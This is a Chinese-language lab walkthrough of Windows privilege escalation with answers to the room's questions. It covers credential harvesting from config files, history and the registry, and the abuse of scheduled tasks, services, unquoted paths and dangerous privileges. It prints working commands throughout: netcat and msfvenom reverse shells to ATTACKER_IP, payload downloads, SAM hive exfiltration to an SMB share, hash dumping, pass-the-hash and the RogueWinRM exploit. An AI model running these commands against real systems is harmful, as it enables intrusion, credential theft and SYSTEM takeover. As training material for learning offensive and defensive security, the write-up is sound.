Windows权限提升
Windows权限提升
常见获取密码方式
无人值守的 Windows 安装
在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,最终可能会存储在计算机的以下位置:
1 | 目录:\无人参与.xml |
作为这些文件的一部分,您可能会遇到凭证:
1 | <Credentials> |
Powershell 历史
每当用户使用 Powershell 运行命令时,它都会被存储到一个保存过去命令记忆的文件中。这对于快速重复以前使用过的命令非常有用。如果用户运行的命令直接在 Powershell 命令行中包含密码,则可以稍后使用cmd.exe提示符中的以下命令检索密码:
1 | type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
注意:上述命令只能在 cmd.exe 中运行,因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取文件,您必须将其替换%userprofile%为$Env:userprofile。
已保存的 Windows 凭据
Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:
1 | cmdkey /list |
虽然您看不到实际的密码,但如果您注意到任何值得尝试的凭据,则可以将它们与 runas 命令和 /savecred 选项一起使用,如下所示。
1 | runas /savecred /user:admin cmd.exe |
IIS 配置
Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为的文件中web.config,可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
1 | 目录:\inetpub\wwwroot\web.config |
以下是在文件上快速查找数据库连接字符串的一种方法:
1 | type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString |
从软件中检索凭证:PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供日后使用。虽然 PuTTY 不允许用户存储他们的SSH密码,但它会存储包含明文身份验证凭据的代理配置。
要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。
就像 putty 存储凭证一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH客户端、VNC 软件等,都会有方法来恢复用户保存的任何密码。
题目
问题一:
在RDP上打开Powershell,输入命令:
1 | type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
注意:
因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取文件,必须将其替换%userprofile%为$Env:userprofile*。
问题二:
我们按着给的路径直接找就行,到web.config
问题三:
机翻有点难绷
其实就是用cmdkey找凭据,runas起shell
1 | cmdkey /list #列出保存的凭据 |
然后找flag就行
1 | cd C:\Users\mike.katz\Desktop |
问题四:
直接用命令就行
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
快速提权
计划任务
查看目标系统上的计划任务,您可能会看到一个计划任务丢失了它的二进制文件或正在使用您可以修改的二进制文件。
可以使用不带任何选项的命令从命令行列出计划任务 schtasks 。要检索有关任何服务的详细信息,您可以使用以下命令:
1 | C:\> schtasks /query /tn vulntask /fo list /v |
您将获得大量有关该任务的信息,但对我们来说重要的是“要运行的任务”参数,它指示计划任务执行的内容,以及“以用户身份运行”参数,它显示将用于执行该任务的用户。
如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的权限,我们使用icacls:
1 | C:\> icacls c:\tasks\schtask.bat |
从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入任何我们想要的有效载荷。为方便起见,nc64.exe可以在 上找到C:\tools。让我们更改 bat 文件以生成反向 shell:
1 | C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat |
然后我们在攻击者的机器上启动一个监听器,这个监听器和我们在反向 shell 上指示的端口相同:
1 | nc -lvp 4444 |
下次运行计划任务时,您应该会收到具有 taskusr1 权限的反向 shell。虽然您可能无法在实际情况下启动任务,而必须等待计划任务触发,但我们已为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行任务:
1 | C:\> schtasks /run /tn vulntask |
你将按预期收到具有 taskusr1 权限的反向 shell:
1 | Linux |
前往 taskusr1 桌面获取一个标志。不要忘记在本任务结束时输入该标志。
始终安装高权限
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成以管理员权限运行的恶意 MSI 文件。
注意: AlwaysInstallElevated 方法不适用于该房间的机器,并且仅作为信息提供。
此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些值。
1 | C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer |
为了能够利用此漏洞,必须同时设置这两个参数。否则,将无法利用此漏洞。如果设置了这两个参数,则可以使用 生成恶意 .msi 文件 msfvenom,如下所示:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi |
由于这是一个反向 shell,您还应该运行相应配置的Metasploit Handler 模块。传输完您创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:
1 | C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi |
问题一:
首先看计划任务
1 | schtasks /query /tn vulntask /fo list /v |
然后是检查可执行文件的权限
1 | icacls c:\tasks\schtask.bat |
看到我们的BUILTIN\Users组,对任务的二进制文件具有完全访问权限(F),这意味着我们可以修改bat文件,将其插入到我们要的Payload
用nc64.exe更改bat文件,生成反向shell
1 | echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat |
然后开始监听
1 | nc -lvp 4444 |
直接手动启动任务
1 | schtasks /run /tn vulntask |
连上后读flag就行
滥用服务配置错误
Windows 服务
Windows 服务由**服务控制管理器(SCM)**管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态以及通常提供配置服务的方法的进程。
Windows 计算机上的每项服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便能够与 SCM 通信,因此并非任何可执行文件都可以作为服务成功启动。每项服务还指定了运行服务的用户帐户。
为了更好地理解服务的结构,让我们使用以下sc qc
命令检查 apphostsvc 服务配置:
1 | C:\> sc qc apphostsvc |
这里我们可以看到,关联的可执行文件是通过BINARY_PATH_NAME
参数指定的,而用于运行该服务的账户则显示在SERVICE_START_NAME
参数上。
服务具有自主访问控制列表 (DACL),它指示谁有权限启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他特权。 DACL 可以从 Process Hacker(位于您计算机的桌面上)中看到
所有服务配置都存储在注册表中:HKLM\SYSTEM\CurrentControlSet\Services\
系统中每个服务都有一个子项。同样,我们可以在ImagePath值上看到关联的可执行文件,在ObjectName值上看到用于启动服务的帐户。如果为服务配置了DACL ,它将存储在名为Security 的子项中。正如您现在所猜到的,默认情况下只有管理员才能修改此类注册表项。
服务关联的可执行文件的不安全权限
如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻松获得服务帐户的权限。 要了解它是如何工作的,让我们看一下在 Splinterware System Scheduler(splinterware公司的一个应用软件)上发现的漏洞。 首先,我们将使用sc qc
查询相关服务配置:
1 | C:\> sc qc WindowsScheduler |
由上述查询结果可知:漏洞软件所安装的服务以svcuser1账户运行,与该服务关联的可执行文件路径为C:\Progra~2\System~1\WService.exe
。 然后我们继续检查 服务关联的可执行文件的权限:
1 | C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe |
由上述结果可知,Everyone组 对服务所关联的可执行文件具有修改权限 (M),这意味着我们可以简单地用我们偏好的任何有效负载(payload)覆盖此文件,然后此服务将使用配置的用户帐户的权限执行payload。 我们可以在攻击机上使用 msfvenom 生成一个 exe-service 有效负载并通过 python 网络服务器传输该payload文件到目标机:
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe |
然后,我们可以使用以下命令从目标机的Powershell界面接收来自攻击机的payload文件:
1 | wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe |
在 Windows 服务器中,我们将用payload文件替换掉服务所关联的可执行文件。 由于我们需要另一个用户来执行我们的payload文件,因此我们还要向Everyone组 授予完全权限:
1 | C:\> cd C:\PROGRA~2\SYSTEM~1\ |
我们在攻击者机上启动一个反向shell监听器:
1 | user@attackerpc$ nc -lvp 4445 |
最后,重新启动服务。 虽然在正常情况下,你可能需要等待服务自行重启,但在此处你已被分配了手动重启服务的权限,以节省一些时间。
你可以在cmd界面使用以下命令手动重启服务:
1 | C:\> sc stop windowsscheduler |
注意:PowerShell 将 sc 作为 Set-Content 的别名,因此你需要使用 sc.exe 才能通过PowerShell 控制服务。 在攻击机上,你将获得一个具有 svcusr1 权限的反向 shell界面:
好多东西,我就不照搬了。。。。。。
接下来直接放做题吧
问题一:
首先,用以下命令查看WindowsScheduler的服务配置
1 | sc qc WindowsScheduler |
我们可以发现漏洞软件安装的服务以svcusr1账户运行,与之关联的可执行文件路径是C:\Progra~2\System~1\WService.exe
顺着这个关联可执行文件,我们查看它的权限
1 | icacls C:\PROGRA~2\SYSTEM~1\WService.exe |
发现Everyone组具有修改权限,也就是说我们能对这个文件进行修改
于是我们就可以生成payload覆盖此文件,此服务将会使用配置的用户账户的权限,执行payload
我们在攻击机上使用msfvenom生成一个exe-service的payload,通过python网络服务器传输该payload文件到目标主机上
然后用目标主机的Powershell获取我们的payload
1 | wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe |
在 Windows 服务器中,我们将用payload文件替换掉服务所关联的可执行文件。 由于我们需要另一个用户来执行我们的payload文件,因此我们还要向Everyone组 授予完全权限:
1 | C:\> cd C:\PROGRA~2\SYSTEM~1\ |
最后nc监听,找flag
问题二:
这个就要用到第二个知识点了,未引用的(服务所关联的)可执行文件路径
PowerShell 会将“sc
”作为“Set-Content
”的别名,因此如果你在 PowerShell 环境下,你需要使用“sc.exe
”来控制服务
SCM有个特性:当SCM尝试执行目标服务关联的二进制文件时,如果文件夹名称上包含空格,就会发生错误解析
例如:sc qc "disk sorter enterprise"
SCM 会尝试按表中显示的顺序搜索每个二进制文件:
- 首先,搜索 C:\MyPrograms\Disk.exe。 如果存在,该服务将运行此可执行文件。
- 如果Disk.exe存在,它将搜索 C:\MyPrograms\Disk Sorter.exe。 如果存在,该服务将运行此可执行文件。
- 如果Disk Sorter.exe不存在,它将搜索 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe。 此选项预计会成功,并且通常会在默认情况下运行。
那么换个角度来看,如果我们提前创建一个可被包含在路径中的,其他可执行文件(比如C:\MyPrograms\Disk.exe),我们就能在该服务启动时,强制运行我们手动创建的可执行文件
而绝大多数服务所关联的可执行文件,都会默认安装在C:\Program Files
或 C:\Program Files (x86)
当中,非特权用户是无法写入的。
不过万事皆有例外:一些安装程序可能会更改对应的安装文件夹的权限,由此导致相关服务变得易受攻击
管理员可能会在非默认路径下,安装服务所关联的二进制文件,如果这个路径是全局可写的,我们就可以利用该漏洞覆盖文件
回到题目,在例子中,管理员安装了Disk Sorter二进制文件在c:\MyPrograms
下
在默认情况下,这将会继承目录C:\的权限,并且允许任何用户在其中创建文件和文件夹。
我们使用icacls
来检查
发现User组具有AD和WD权限,这就代表允许用户创建子目录和文件
剩下的步骤和上面差不多,只不过需要把payload移到Disk.exe
,并给所有用户对文件完全的权限
然后弹shell就行了
问题三:
问题三这个情景是基于上述两个方法都被防好了的情况下,我们仍然有一点可能对服务进行漏洞利用
DACL(自由访问控制列表)
如果服务本身的DACL(注意:此处并非服务对应的可执行文件的 DACL)允许你修改服务的配置,你将能够对服务进行重新配置。 这将允许你将某个服务指向你设置的任何可执行文件路径,而且可以使用你指定的任何帐户权限去运行服务所关联的可执行文件,能够指定的账户包括 SYSTEM 账户。
听上去是有点绕, 从头解释一遍
关于 DACL
- 定义:DACL 即自主访问控制列表(Discretionary Access Control List),它是一种安全机制,用于控制对特定对象(在这里是服务)的访问权限。简单来说,就是规定了谁能对这个服务做什么操作,比如读取、修改等。
- 作用:如果服务本身的 DACL 允许你修改服务的配置,就意味着你获得了对这个服务进行重新设置的权限。
服务配置的修改
- 可执行文件路径的指定:你可以将该服务原本指向的可执行文件路径,修改为你自己设置的任何可执行文件路径。这就好比一个人原本被安排走某条固定的上班路线,现在你有权力让他走你指定的任何一条路线去上班。
- 账户权限的指定:你还能指定用任何你想要的账户权限去运行与这个服务相关联的可执行文件。其中包括 SYSTEM 账户,SYSTEM 账户是 Windows 系统中权限非常高的一个内置账户,具有系统级的完全访问权限。使用这个账户运行服务,就好像给这个服务开了一个 “特权通行证”,让它在系统中拥有最高级别的权限来执行各种操作。
总的来说,就是在满足服务本身的 DACL 允许的条件下,你对这个服务有很大的控制权,可以按照你的需求来调整它的运行方式和权限等。
使用Sysinternals
套件中的Accesschk
工具,可以从命令行环境检查服务本身的DACL
我们可以发现,BUILTIN\USERS
组具有一个SERVICE_ALL_ACCESS
权限
这意味着:任何用户都可以对服务进行重新配置
接下来的一切也差不多,用msfvenom生成payload,然后移动到恰当位置并给Everyone组成员一个执行payload文件的权限
1 | C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F |
要更改服务所关联的可执行文件路径以及服务相关帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):
1 | C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem |
请注意,我们可以指定任何帐户来运行该服务。 此处我们选择了 LocalSystem,因为它是可用的最高特权帐户。 为了触发并执行我们的payload文件,我们需要重新启动服务
1 | C:\> sc stop THMService |
然后拿Shell即可
滥用危险特权
问题一:
下面可以用三种方法来做这题(对应着三种权限)
SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,这样就会绕过DACL。Windows开放这个权限,主要是为了允许某些用户不用管理权限,也能从系统执行备份
用这个权限,攻击者可以提升自己的权限。主要利用就是查看配置,复制SAM和SYSTEM注册表配置单元以提取本地管理员的密码哈希
接下来开做!
首先在cmd中先检查我们自己的权限
这里要注意用管理员身份打开cmd,否则只能看到两个权限
发现有SeBackup和SeRestore权限
然后是备份SAM和SYSTEM的hash值
1 | reg save hklm\system C:\Users\THMBackup\system.hive #SYSTEM的hash |
这就会创建几个包含注册表hives内容的文件
接下来我们就可以使用SMB或者其他方法,把这些文件复制到我们的攻击机上
对于SMB的话,我们可以用impacket启动一个简单的SMB服务器
1 | user@attackerpc$ mkdir share |
我们创建了一个share目录,然后接下来我们要在受害者Windows机器上使用命令,将保存的两个hash文件传输到我们的攻击机
1 | C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ |
接下来用impacket来检索用户的密码hash
1 | python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL |
找到了Administrator的hash,现在可以执行Pass-the-Hash攻击然后以SYSTEM权限访问目标计算机了
1 | python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.88.61 |
SeTakeOwnership
SeTakeOwnership权限允许用户获取系统上任何对象的所有权,这当中包括文件和注册表项
我们可以搜索SYSTEM运行的服务,并获取该服务的可执行文件的所有权
依旧检查检查权限
这次要用的是一个叫Ultiman的Windows内置应用程序
1 | Ultiman用于在锁定屏幕期间提供Ease of Access选项 |
由于这个Utilman是以SYSTEM权限运行的,如果我们将其替换成我们的恶意二进制文件,就能获得SYSTEM权限
当然,有了SeTakeOwnership权限,胜利是必然的(确信)
在替换Ultiman之前,我们首先需要获取它的所有权
1 | takeown /f C:\Windows\System32\Utilman.exe |
成为文件的所有者,并不意味着拥有该文件权限,但作为所有者,可以自己分配任何权限
授予用户对ultiman.exe的完全权限
1 | icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F |
然后我们就可以将ultiman.exe替换为cmd.exe的副本,这样我们就能通过ultiman获得带SYSTEM权限的cmd了
1 | copy cmd.exe utilman.exe |
然后锁定屏幕来触发ultiman
点完就弹了
SeImpersonate / SeAssignPrimaryToken
这些权限允许进程模拟用户并代表用户执行操作。包括在其他用户的安全上下文中生成进程或者线程
FTP服务器就是个很好的例子
当FTP服务器运行时,如果没有模拟,假设有个用户Ann登录FTP服务器,并且尝试访问她的文件,那么FTP就会使用FTP自己的访问令牌来查询Ann的文件
Ann能正常获取自己的文件,但这是因为Ann的文件对FTP开放权限
如果是Bill的话,FTP就无法访问Bill的文件了,因为Bill的文件并没有对FTP服务器开放权限
这就是模拟的作用了,由于不确定用户的文件是否对FTP服务器开放权限,索性FTP直接临时使用用户的令牌,访问用户的文件,类比一下STEAM令牌就能想得通了
这样无论是A B C还是D,都能轻而易举通过FTP服务器获取自己的文件了
作为攻击者,如果我们能利用 SeImpersonate 或 SeAssignPrimaryToken 权限控制进程,我们就可以模拟那些连接到该进程并进行身份验证的用户
Windwos系统中的 LOCAL SERVICE和 NETWORK SERVICE ACCOUNTS就具有此类权限。由于这些账户主要是用于受限账户生成服务
对此类账户提升权限我们需要从以下几步开始:
- 生成一个进程,让用户可以连接该进程,并且对其进行身份验证
- 找到一种方法来强制特权用户连接并验证生成的恶意进程
题目用的是RogueWinRM漏洞来实现这两个条件的
1 | RogueWinRM 是一个用于 Windows 系统的本地权限提升工具。它允许从具有 SeImpersonatePrivilege 权限的服务账户提升到本地系统账户,前提是 WinRM 服务未运行(默认情况下,WinRM 服务通常是关闭的)。该项目由 Antonio Cocomazzi、Andrea Pierini 和 Roberto (0xea31) 开发,遵循 GPL-3.0 许可证。 |
题目模拟的是在侵入在IIS上运行的网站,已经种下webshell的情况
首先查看权限
在攻击机上已经有EXP了,我们直接用就行
RogueWinRM 漏洞利用是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用 SYSTEM 权限自动创建与端口 5985 的连接。
端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台的端口,以便通过网络远程使用。可以将其视为 SSH,但使用 Powershell
BITS服务:后台智能传输服务 (BITS) 可供程序员和系统管理员用于从 HTTP Web 服务器和 SMB 文件共享下载文件或将文件上传到其中。 BITS 会考虑传输成本和网络使用情况,以便最大程度地降低对用户的前台工作的影响。 BITS 还可以通过暂停和自动恢复传输来处理网络中断,即使在重启后也是如此。 BITS 包括用于创建和管理传输的 PowerShell cmdlet 以及 BitsAdmin 命令行实用工具
如果因为某种原因,WinRM服务未在受害者服务器上运行,攻击者就可以在端口5985上启动虚假的WinRM服务,并在启动时捕获BITS服务进行的身份验证尝试。
如果攻击者拥有Selmpersonate权限,他就能代表连接用户执行任意命令,SYSTEM也行
在运行EXP之前,先在Kali上起一个nc监听
然后在webshell上使用命令触发漏洞
1 | c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.85.73 4442" |
说是要等蛮久
不过一下子就拿到了,嘻嘻
滥用易受攻击软件
这其实没啥说的,主要是看看Windows是不是安装了一些存在历史漏洞的软件或者补丁啥的
可以用wmic列出目标系统上安装的软件及其版本
1 | wmic product get name,version,vendor |
需要注意的是这可能不会返回所有已安装的程序,有的程序安装方式比较特殊,可能不会在此处列出
然后用现成EXP打就行了,不是很难